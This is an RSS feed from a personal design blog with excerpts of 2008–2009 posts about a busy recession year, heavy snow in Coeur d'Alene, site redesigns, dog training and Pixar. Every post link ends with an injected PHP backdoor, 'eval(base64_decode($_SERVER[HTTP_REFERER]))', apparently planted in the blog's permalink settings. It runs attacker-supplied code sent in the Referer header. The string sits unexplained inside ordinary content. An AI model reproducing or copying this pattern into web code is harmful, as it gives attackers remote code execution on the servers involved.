http://russell.heistuman.com Trying to Achieve a Good Sense of Common Wed, 08 Apr 2009 16:36:00 +0000 http://backend.userland.com/rss092 en Piggybacking on the "Busy is Good" post, I have continued to remain incredibly busy since the beginning of the year. I would have to say that I am not personally experiencing the downside of this recession yet and I hope that continues to hold true. I'm not one to "knock ... http://russell.heistuman.com/2009/04/08/are-recessions-always-this-busy/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I've found myself caught in the enviable quandary of not being able to update my blog due to an increase in business. I've had three unpublished posts sitting unfinished since the middle of January and haven't had the time to really develop the thoughts out the way I would like. ... http://russell.heistuman.com/2009/01/30/busy-is-good/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Well, we've had a doozy. Just got done digging out of over 30" of white stuff here in Coeur d'Alene. While most people aren't surprised that it snows here in North Idaho, the fact is, it doesn't usually snow this much. In fact, it never has snowed this much. At ... http://russell.heistuman.com/2008/12/19/snopocalypse-in-coeur-dalene/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I got a pleasant surprise when I went to MyFonts.com a couple of days ago and saw the new sneak peak at the beta version redesign. What I once thought was my little secret will now be completely out of the bag. No longer will other designers be put off ... http://russell.heistuman.com/2008/12/15/myfonts-beta-is-looking-good/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I'm having to temporarily change the theme of my blog because my last theme was doing some funky wrapping in Firefox and IE when you have custom Widgets applied. Even with the latest fix, I was still having the wrapping issues. So, for now, I'm using Brian Gardner's very practical Revolution Code ... http://russell.heistuman.com/2008/12/15/temporary-blog-design-changes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Last Friday morning I was at the Coeur d'Alene Online Marketer's Group monthly meetup at Calypso's Coffee in downtown Cd'A enjoying a remote presentation by Matthew Ray Scott on "Virtual Business" (did I get everything?), and during the presentation Matthew mentioned that while there are many benefits to being able to work ... http://russell.heistuman.com/2008/12/12/virtual-water-cooler-talk/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ The new design for WDWerks.com is now live. It actually went live on Tuesday (as I posted last week, I was aiming for Monday), but I was still working on the portfolio pages and getting the slider jquery code to all work properly and just had a scrollable list as ... http://russell.heistuman.com/2008/11/20/wdwerkscom-redesign-is-live/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Cesar Millan has transformed our household into a bunch of Dog Whisperer wannabes. Being as that we're in Idaho (and not just Idaho, but NORTH Idaho!), we're not expecting Cesar to come toolin' down our cul-de-sac in his Jeep and camera crew in tow anytime soon, so we've had to resort to ... http://russell.heistuman.com/2008/11/18/channeling-cesar-millan/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ My design business website, Whitestone Design Werks, has been suffering from a painfully outdated design and what is even more inexcusable, an embarrassingly outdated portfolio. My cliché excuse is the classic "cobbler's kids have no shoes" and the fact that I have had plenty of business coming in to keep ... http://russell.heistuman.com/2008/11/13/sneak-peak-of-wdwerks-redesign/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ This is all old news, but thought I would still go ahead and post this as we're anxiously awaiting the release of WALL-E on DVD on November 18. Came across an inspiring article on the Hollywood Reporter's website chronicling John Lasseter's career that began at Disney after attending Cal Arts ... http://russell.heistuman.com/2008/11/07/pixar-and-the-reshaping-of-disney-animation/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/